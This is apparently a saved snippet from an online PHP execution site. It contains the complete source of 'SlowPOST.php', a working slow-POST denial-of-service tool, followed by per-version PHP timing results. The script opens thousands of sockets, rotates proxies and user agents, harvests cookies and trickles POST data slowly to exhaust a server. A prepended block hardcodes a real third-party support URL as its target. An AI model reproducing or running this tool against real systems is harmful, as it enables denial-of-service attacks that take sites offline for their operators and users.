@ 2013-05-13T06:29:58Z <?php
set_time_limit(0);
ignore_user_abort(true);
$_SERVER['argv'][1] = 'http://support.ioncube.com/winapp/';
?><?php
/**
* Exploit Title: SlowPOST.php - POST Denial-Of-Service [v1.9.2]
*
* Date: 13.05.2013
* Author: NewEraCracker
* License: Public Domain
*
* How to run using php command line:
* Linux : php-cli SlowPOST.php
* Windows : php SlowPOST.php
*
* This exploit might expose your IP Address in server logs. Be aware.
*/
//-------------------------
// CONFiG
//-------------------------
$CONFIG['max_cookies'] = 20;
$CONFIG['max_sockets'] = 9001;
$CONFIG['timeout_ms'] = 500;
$CONFIG['usleep_time'] = 10;
//-------------------------
// INiT
//-------------------------
// Define EXPLOIT_VERSION
if(!defined('EXPLOIT_VERSION'))
define('EXPLOIT_VERSION', 'v1.9.2');
// Define STDIN
if(!defined('STDIN'))
define('STDIN', fopen('php://stdin', 'r'));
// Check PHP Version
if(version_compare(PHP_VERSION, '5.0.4') < 0) {
echo 'This support only supports PHP 5.0.4 and higher.';
exit(1);
}
// Globals - DO NOT EDIT
$global_proxy_array = array();
//-------------------------
// FUNCTiONS FOR THE LULZ
//-------------------------
/** Read STDIN and return it */
function readSTDIN() {
$file = STDIN;
if(!$file) return false;
return trim(fgets($file));
}
/** Receive a filename that has proxies listed in it and fills the $global_proxy_array */
function proxyLoadFile($filename) {
global $global_proxy_array;
// Load proxy list file
$filename = str_replace('\\', '/', $filename);
$content = @file_get_contents($filename);
if(!$filename || !$content) {
echo $filename.' is not a valid proxy-list file!';
exit(1);
}
$content = str_replace(array("\r\n", "\r"), "\n", $content);
$content = explode("\n", $content);
// Grab the proxies
foreach($content as $value) {
$tmp = explode(':', $value);
if(isset($tmp[0], $tmp[1])) {
$tmp[0] = trim($tmp[0]);
$tmp[1] = (int)(trim($tmp[1]));
// The proxy
$global_proxy_array[] = array('host' => $tmp[0], 'port' => $tmp[1]);
}
}
}
/** Returns a random a proxy */
function proxyGetRandom() {
global $global_proxy_array;
// Give a random proxy
if(count($global_proxy_array)) {
$proxy = null;
while(!$proxy) {
$rand = mt_rand(0, count($global_proxy_array) - 1);
$proxy = (isset($global_proxy_array[$rand]) ? $global_proxy_array[$rand] : null);
}
return $proxy;
}
return false;
}
/** Returns a random useragent */
function randomUserAgent() {
// Microsoft Windows versions
$os = array('5.0', '5.1', '5.2', '6.0', '6.1', '6.2');
// Select a random version
$os = $os[mt_rand(0, count($os) - 1)];
// Select a random browser
if(mt_rand(0, 1)) {
// Internet Explorer versions
$ua[0] = array('4.0', '7.0', '4.0');
$ua[1] = array('4.0', '8.0', '4.0');
$ua[2] = array('5.0', '9.0', '5.0');
$ua[3] = array('5.0', '10.0', '6.0');
// Random IE
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[2]})";
} else {
// Mozilla Firefox versions
$ua = array('17.0', '18.0', '19.0', '20.0', '21.0');
// Random FF
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/5.0 (Windows NT {$os}; rv:{$ua}) Gecko/20100101 Firefox/{$ua}";
}
}
/** Opens a custom socket and returns it */
function openCustomSocket($newEraUrl, $newEraProxy = null) {
global $CONFIG;
@ini_set('default_socket_timeout', 1);
$newEraConnection = (($newEraProxy == null) ? $newEraUrl : $newEraProxy);
$host = (($newEraConnection->ssl) ? 'ssl://' : 'tcp://').$newEraConnection->name;
$fp = @fsockopen($host, $newEraConnection->port);
if(!$fp)
return false;
stream_set_blocking($fp, 0);
stream_set_timeout($fp, 0, $CONFIG['timeout_ms']);
return $fp;
}
/**
* Receives a socket and performs the start of a slowPosting
* Returns Content-Length on success and false on failure
*/
function slowPostStart($sock, $newEraUrl, $newEraProxy, $cookie) {
// Check the socket
if(!$sock)
return false;
// Generate a random Content-Length
$length = mt_rand(1337, 133700);
// Build
$header = 'POST '.($newEraProxy ? $newEraUrl->full_url : $newEraUrl->path).' HTTP/1.1'."\r\n";
$header .= 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
$header .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n";
$header .= mt_rand(0, 1) ? 'Referer: '.$newEraUrl->full_url."\r\n" : '';
$header .= ($cookie ? "Cookie: {$cookie}\r\n" : '');
$header .= 'Content-Length: '.$length."\r\n";
$header .= "\r\n";
// Do it
@fwrite($sock, $header);
return $length;
}
/** Receives a socket and continues the slowPosting */
function slowPostContinue($sock, $bytes = 5) {
global $CONFIG;
// Check the socket
if(!$sock)
return false;
// Check the $bytes
if(intval($bytes) != $bytes)
$bytes = 5;
// Throttle execution speed slightly
if($CONFIG['usleep_time'] > 0)
@usleep($CONFIG['usleep_time']);
// Do it :D
$tmp = '';
for($j = 0; $j < $bytes; $j++)
$tmp .= chr(mt_rand(33, 126));
@fwrite($sock, urlencode($tmp));
return true;
}
//-------------------------
// CLASSES FOR THE LULZ
//-------------------------
/** I want cookies! Give me cookies! */
class NewEraCookies {
private $max_cookies;
private $cookies = array();
/** Constructor */
public function __construct($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile, $output);
}
/** Object updater */
public function update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->max_cookies = $max_cookies;
$this->cookies = array();
if($output)
echo PHP_EOL.'BUILDING COOKIES ';
for($i = 0; $i < $this->max_cookies; $i++) {
// Using Proxy file?
if($proxyFile) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxyFile.' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
$this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraProxy);
if($output)
echo '.';
}
}
/** Returns a cookie by its index */
public function returnCookieByIndex($idx) {
if($idx == 'random')
$idx = mt_rand(0, $this->max_cookies - 1);
if(isset($this->cookies[$idx]))
return $this->cookies[$idx];
return '';
}
/** Function to parse set-cookie from header fields */
public static function cookieParse($header) {
$cookies = array();
foreach($header as $line) {
if(preg_match('/^Set-Cookie: /i', $line)) {
$line = preg_replace('/^Set-Cookie: /i', '', trim($line));
$csplit = explode(';', $line);
$cdata = array();
$grabbed_cookie_data = false;
foreach($csplit as $data) {
$cinfo = explode('=', $data);
$cinfo[0] = trim($cinfo[0]);
if(!$grabbed_cookie_data) {
$cdata['value']['key'] = $cinfo[0];
$cdata['value']['value'] = $cinfo[1];
$grabbed_cookie_data = true;
continue;
}
$cinfo[0] = strtolower($cinfo[0]);
if($cinfo[0] == 'expires') $cinfo[1] = @strtotime($cinfo[1]);
if($cinfo[0] == 'secure') $cinfo[1] = 'true';
if(in_array($cinfo[0], array('domain', 'expires', 'path', 'secure', 'comment'))) {
$cdata[$cinfo[0]] = $cinfo[1];
}
}
$cookies[] = $cdata;
}
}
return $cookies;
}
/** Function to build the request cookie header from parsed set-cookie data */
public static function cookieBuild($data) {
if(is_array($data)) {
$cookie = array();
foreach($data as $d)
$cookie[] = $d['value']['key'].'='.$d['value']['value'];
if(count($cookie) > 0)
return trim(implode('; ', $cookie));
}
return false;
}
/** Function to grab cookies from an url using PHP's fopen */
public static function cookieGrab($newEraUrl, $newEraProxy = null) {
// Build connection header
$header = 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
// Check proxy url
if($newEraProxy) {
// Enable proxy
$proxy_url = $newEraProxy->full_url;
$request_fulluri = true;
} else {
// Disable proxy
$proxy_url = '';
$request_fulluri = false;
}
// Build stream context
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => (3),
'header' => $header,
'proxy' => $proxy_url,
'request_fulluri' => $request_fulluri,
'max_redirects' => (0),
'protocol_version' => (1.1),
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false
)
));
// Let the fun begin
$cookie = '';
$handle = @fopen($newEraUrl->full_url, 'r', false, $context);
// I hope this does work
if($handle) {
// If it worked, we grab the cookies
$metadata = stream_get_meta_data($handle);
$cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data']));
// Fun is only at a small distance
@fclose($handle);
}
return $cookie;
}
}
/** Class to construct and handle an url-like object */
class NewEraUrl {
private $host_full_url;
private $host_protocol;
private $host_ssl;
private $host_name;
private $host_port;
private $host_path;
/** Constructor */
public function __construct($host_full_url) {
$this->update_object($host_full_url);
}
/** Object updater */
public function update_object($host_full_url) {
$this->host_full_url = $host_full_url;
$this->host_ssl = ((strpos($this->host_full_url, 'https') === 0) ? true : false);
$this->host_protocol = ($this->host_ssl ? 'https' : 'http');
// Grab other parameters
$host_full_url = explode('/', $host_full_url, 4);
$host_full_url[2] = explode(':', $host_full_url[2], 2);
// Host, Port, Path
$this->host_name = $host_full_url[2][0];
$this->host_port = (isset($host_full_url[2][1]) ? $host_full_url[2][1] : ($this->host_ssl ? 443 : 80));
$this->host_path = '/'.(isset($host_full_url[3]) ? $host_full_url[3] : '');
}
/** Getter for the private properties */
public function __get($var) {
$var = 'host_'.$var;
if(isset($this->{$var}))
return $this->{$var};
}
/** Quick check to see if url is minimally valid */
public static function isValid($host_full_url) {
if(strpos($host_full_url, 'https://') === 0 || strpos($host_full_url, 'http://') === 0)
return true;
}
}
/** Class to construct and handle a proxy-like object */
class NewEraProxy {
private $proxy_full_url;
private $proxy_protocol;
private $proxy_ssl;
private $proxy_name;
private $proxy_port;
/** Constructor */
public function __construct($proxy_full_url) {
$this->update_object($proxy_full_url);
}
/** Object updater */
public function update_object($proxy_full_url) {
$this->proxy_full_url = $proxy_full_url;
$this->proxy_ssl = ((strpos($this->proxy_full_url, 'ssl') === 0) ? true : false);
$this->proxy_protocol = ($this->proxy_ssl ? 'ssl' : 'tcp');
// Grab other parameters
if(false !== ($tmp = strpos($proxy_full_url, '://')))
$proxy_full_url = substr($proxy_full_url, $tmp + 3);
$proxy_full_url = explode(':', $proxy_full_url);
// Host, Port, Path
$this->proxy_name = $proxy_full_url[0];
$this->proxy_port = (int)(isset($proxy_full_url[1]) ? $proxy_full_url[1] : ($this->proxy_ssl ? '443' : '80'));
}
/** Getter for the private properties */
public function __get($var) {
$var = 'proxy_'.$var;
if(isset($this->{$var}))
return $this->{$var};
}
}
//-------------------------
// MAiN CODE FOR THE LULZ
//-------------------------
echo "
_______. __ ______ ____ __ ____
/ || | / __ \ \ \ / \ / /
| (----`| | | | | | \ \/ \/ /
\ \ | | | | | | \ /
.----) | | `----.| `--' | \ /\ /
|_______/ |_______| \______/ \__/ \__/
.______ ______ _______.___________.
| _ \ / __ \ / | |
| |_) | | | | | | (----`---| |----`
| ___/ | | | | \ \ | |
| | | `--' | .----) | | |
| _| \______/ |_______/ |__|
";
echo PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL;
// Fetch the URL to attack
$url = null;
if(isset($_SERVER['argv'][1]) && NewEraUrl::isValid($_SERVER['argv'][1]))
$url = $_SERVER['argv'][1];
// Fetch proxy to use
$proxy['host'] = null;
$proxy['port'] = null;
$proxy['file'] = false;
if(!empty($url) && isset($_SERVER['argv'][2])) {
if($proxy = explode(':', $_SERVER['argv'][2])) {
if(isset($proxy[0], $proxy[1])) {
$proxy['file'] = false;
$proxy['host'] = $proxy[0];
$proxy['port'] = (int)($proxy[1]);
unset($proxy[0], $proxy[1]);
}
}
if(!(isset($proxy['host'], $proxy['port'])) && is_readable($_SERVER['argv'][2])) {
$proxy['file'] = true;
$proxy['filename'] = $_SERVER['argv'][2];
}
}
// Ask for proxy
if(empty($url) && (empty($proxy['host']) || empty($proxy['port'])) && !$proxy['file']) {
$proxy['use'] = null;
while(!$proxy['use']) {
echo PHP_EOL.'Do you want to use a proxy [yes/no/file]: ';
$proxy['use'] = readSTDIN();
if(strpos(strtolower($proxy['use']), 'n') === 0) {
break;
} elseif(strpos(strtolower($proxy['use']), 'y') === 0) {
echo PHP_EOL.'Proxy IP: ';
$proxy['host'] = readSTDIN();
echo PHP_EOL.'Proxy Port: ';
$proxy['port'] = (int)(readSTDIN());
} elseif(strpos(strtolower($proxy['use']), 'f') === 0) {
echo PHP_EOL.'Proxy file: ';
$proxy['filename'] = readSTDIN();
if(is_readable($proxy['filename'])) {
$proxy['file'] = true;
} else {
echo PHP_EOL.'Invalid file!'.PHP_EOL;
$proxy['use'] = null;
}
} else {
$proxy['use'] = null;
echo PHP_EOL.'Invalid choice!'.PHP_EOL;
}
}
unset($proxy['use']);
}
// Ask for target URL
while(!$url) {
echo PHP_EOL.'Target url: ';
$url = readSTDIN();
if(NewEraUrl::isValid($url)) break;
$url = null;
echo PHP_EOL.'Invalid target!'.PHP_EOL;
}
// Init proxy suport
if(empty($proxy['host']) || empty($proxy['port'])) {
$newEraProxy = null;
if(!empty($proxy['file'])) {
proxyLoadFile($proxy['filename']);
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy = new NewEraProxy('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
} else {
$newEraProxy = new NewEraProxy('tcp://'.$proxy['host'].':'.$proxy['port']);
}
// Init the others
$newEraUrl = new NewEraUrl($url);
$newEraCookies = new NewEraCookies($newEraUrl, $newEraProxy, $CONFIG['max_cookies'], $proxy['file'], true);
// Start
echo PHP_EOL.'IMMA FIRIN MAH LAZOR ';
$fp = array();
// Do it
while(1) {
for($i = 0; $i < $CONFIG['max_sockets']; $i++) {
// Using Proxy file?
if($proxy['file']) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
// Open a new socket
$tmp = array();
if($tmp['sock'] = openCustomSocket($newEraUrl, $newEraProxy)) {
// Progress bar
echo '.';
// Start a new slowPost and find its length
if($tmp['length'] = slowPostStart($tmp['sock'], $newEraUrl, $newEraProxy, $newEraCookies->returnCookieByIndex('random'))) {
if(isset($fp[$i], $fp[$i]['sock'])) {
// Close connection in the global socket array if it is being used
@fclose($fp[$i]['sock']);
unset($fp[$i]);
}
// Save the new socket in the global socket array
$fp[$i] = $tmp;
} else {
// Epic fail?
@fclose($tmp['sock']);
}
}
unset($tmp);
// Check the current sockets
foreach($fp as $k => $v) {
if($fp[$k]['length'] > 0) {
// Contine old slowPosts
$tmp = ($fp[$k]['length'] < 5) ? $fp[$k]['length'] : 5;
slowPostContinue($fp[$k]['sock'], $tmp);
$fp[$k]['length'] -= $tmp;
} else {
// Close completed slowPosts
@fclose($fp[$k]['sock']);
unset($fp[$k]);
}
}
}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.3.4 1.159 0.843 19.29 8.3.3 1.120 0.884 20.77 8.3.2 1.220 0.783 20.71 8.3.1 1.119 0.882 22.47 8.3.0 1.220 0.783 22.83 8.2.17 1.167 0.837 22.96 8.2.16 1.262 0.739 22.39 8.2.15 1.160 0.843 24.18 8.2.14 1.296 0.706 24.66 8.2.13 1.233 0.770 26.16 8.2.12 1.266 0.736 21.07 8.2.11 1.159 0.842 19.61 8.2.10 1.026 0.976 18.28 8.2.9 0.596 1.406 19.58 8.2.8 0.652 1.348 18.53 8.2.7 0.640 1.363 18.13 8.2.6 0.603 1.398 18.05 8.2.5 0.698 1.301 18.13 8.2.4 0.706 1.305 20.01 8.2.3 0.654 1.350 19.83 8.2.2 0.633 1.369 18.27 8.2.1 0.616 1.385 18.30 8.2.0 0.643 1.359 18.25 8.1.27 1.245 0.756 23.99 8.1.26 1.160 0.843 26.35 8.1.25 1.339 0.663 28.09 8.1.24 1.112 0.889 22.70 8.1.23 1.035 0.965 21.26 8.1.22 0.703 1.299 18.77 8.1.21 0.763 1.239 19.47 8.1.20 0.646 1.357 17.73 8.1.19 0.620 1.384 17.91 8.1.18 0.633 1.370 18.10 8.1.17 0.653 1.349 19.09 8.1.16 0.683 1.318 19.45 8.1.15 0.701 1.306 19.21 8.1.14 0.680 1.323 18.03 8.1.13 0.746 1.255 18.34 8.1.12 0.613 1.389 17.88 8.1.11 0.687 1.317 18.03 8.1.10 0.613 1.389 17.80 8.1.9 0.627 1.377 17.80 8.1.8 0.653 1.350 18.05 8.1.7 0.699 1.302 17.94 8.1.6 0.576 1.426 18.02 8.1.5 0.576 1.426 17.95 8.1.4 0.620 1.383 17.86 8.1.3 0.616 1.386 18.02 8.1.2 0.639 1.361 18.13 8.1.1 0.573 1.428 18.01 8.1.0 0.640 1.363 17.96 8.0.30 0.698 1.309 20.45 8.0.29 0.646 1.356 17.54 8.0.28 0.652 1.357 18.80 8.0.27 0.646 1.355 17.76 8.0.26 0.690 1.313 17.21 8.0.25 0.692 1.308 17.48 8.0.24 0.696 1.306 17.33 8.0.23 0.679 1.322 17.38 8.0.22 0.629 1.372 17.32 8.0.21 0.587 1.416 17.36 8.0.20 0.663 1.340 17.50 8.0.19 0.650 1.352 17.40 8.0.18 0.609 1.392 17.37 8.0.17 0.663 1.339 17.30 8.0.16 0.549 1.452 17.47 8.0.15 0.600 1.403 17.32 8.0.14 0.612 1.386 17.25 8.0.13 0.546 1.456 13.92 8.0.12 1.445 0.476 17.39 8.0.11 1.440 0.505 17.38 8.0.10 1.470 0.489 17.39 8.0.9 1.510 0.446 17.33 8.0.8 1.287 0.558 17.39 8.0.7 1.474 0.495 17.21 8.0.6 1.514 0.455 17.28 8.0.5 1.471 0.476 17.34 8.0.3 1.491 0.457 17.50 8.0.2 1.503 0.462 17.46 8.0.1 1.523 0.424 17.39 8.0.0 1.501 0.467 17.29 7.4.33 0.616 1.386 15.00 7.4.32 0.563 1.438 16.82 7.4.30 0.590 1.412 16.79 7.4.29 0.620 1.383 16.75 7.4.28 0.523 1.479 16.89 7.4.27 0.556 1.445 16.87 7.4.26 0.536 1.464 13.77 7.4.25 1.491 0.436 16.87 7.4.24 1.488 0.458 16.89 7.4.23 1.432 0.524 16.93 7.4.22 1.316 0.635 16.91 7.4.21 1.334 0.606 16.88 7.4.20 1.482 0.450 16.77 7.4.19 1.497 0.459 17.06 7.4.16 1.501 0.455 17.05 7.4.15 1.467 0.481 17.40 7.4.14 1.472 0.488 17.86 7.4.13 1.469 0.503 16.97 7.4.12 1.477 0.492 16.97 7.4.11 1.535 0.533 16.93 7.4.10 1.524 0.512 16.86 7.4.9 1.506 0.571 16.94 7.4.8 1.397 0.514 19.39 7.4.7 1.354 0.629 17.04 7.4.6 1.476 0.516 17.00 7.4.5 1.491 0.432 16.69 7.4.4 1.436 0.594 22.77 7.4.3 1.060 0.431 17.10 7.3.33 0.560 1.442 13.94 7.3.32 0.582 1.418 13.84 7.3.31 1.424 0.499 16.86 7.3.30 1.491 0.478 16.86 7.3.29 1.340 0.606 16.82 7.3.28 1.320 0.548 16.87 7.3.27 1.504 0.456 17.40 7.3.26 1.446 0.512 16.80 7.3.25 1.471 0.486 16.86 7.3.24 1.485 0.482 16.83 7.3.23 1.487 0.557 16.91 7.3.21 1.329 0.483 16.93 7.3.20 1.379 0.602 19.39 7.3.19 1.462 0.536 16.98 7.3.18 1.364 0.648 16.80 7.3.17 1.417 0.577 16.89 7.3.16 1.436 0.531 17.02 7.2.33 1.607 0.455 17.27 7.2.32 1.296 0.564 17.23 7.2.31 1.384 0.611 17.23 7.2.30 1.478 0.530 17.10 7.2.29 1.465 0.545 16.96 5.4.22 1.990 0.490 19.71 5.4.21 1.990 0.490 19.87 5.4.20 1.970 0.513 19.74 5.4.19 1.987 0.497 19.74 5.4.18 1.943 0.540 19.88 5.4.17 1.967 0.517 19.75 5.4.16 1.913 0.567 19.89 5.4.15 1.980 0.500 19.73 5.4.14 1.863 0.617 17.07 5.4.13 2.010 0.473 17.30 5.4.12 1.957 0.527 17.22 5.4.11 2.023 0.453 17.06 5.4.10 2.003 0.477 17.16 5.4.9 2.030 0.453 17.19 5.4.8 1.980 0.503 17.17 5.4.7 1.970 0.513 17.10 5.4.6 2.037 0.447 17.14 5.4.5 2.023 0.460 17.31 5.4.4 1.987 0.497 17.15 5.4.3 1.990 0.493 17.16 5.4.2 1.770 0.710 17.12 5.4.1 1.843 0.637 17.13 5.4.0 1.900 0.580 16.69 5.3.27 2.027 0.457 15.25 5.3.26 1.837 0.643 15.11 5.3.25 1.923 0.557 15.25 5.3.24 1.880 0.600 15.26 5.3.23 1.993 0.490 15.26 5.3.22 2.003 0.480 15.22 5.3.21 2.000 0.483 15.07 5.3.20 2.000 0.477 15.22 5.3.19 1.930 0.553 15.03 5.3.18 2.047 0.437 14.97 5.3.17 1.933 0.550 15.06 5.3.16 2.000 0.483 15.15 5.3.15 1.977 0.507 15.13 5.3.14 1.973 0.510 14.98 5.3.13 1.803 0.677 15.19 5.3.12 1.813 0.667 15.27 5.3.11 1.883 0.600 15.21 5.3.10 1.833 0.647 14.54 5.3.9 1.947 0.533 14.63 5.3.8 1.960 0.517 14.66 5.3.7 1.980 0.497 14.58 5.3.6 1.987 0.497 14.66 5.3.5 1.993 0.490 14.37 5.3.4 2.013 0.467 14.52 5.3.3 2.003 0.477 14.39 5.3.2 1.953 0.530 14.41 5.3.1 2.023 0.460 14.16 5.3.0 1.977 0.507 14.21
preferences:dark mode live preview
43.51 ms | 400 KiB | 5 Q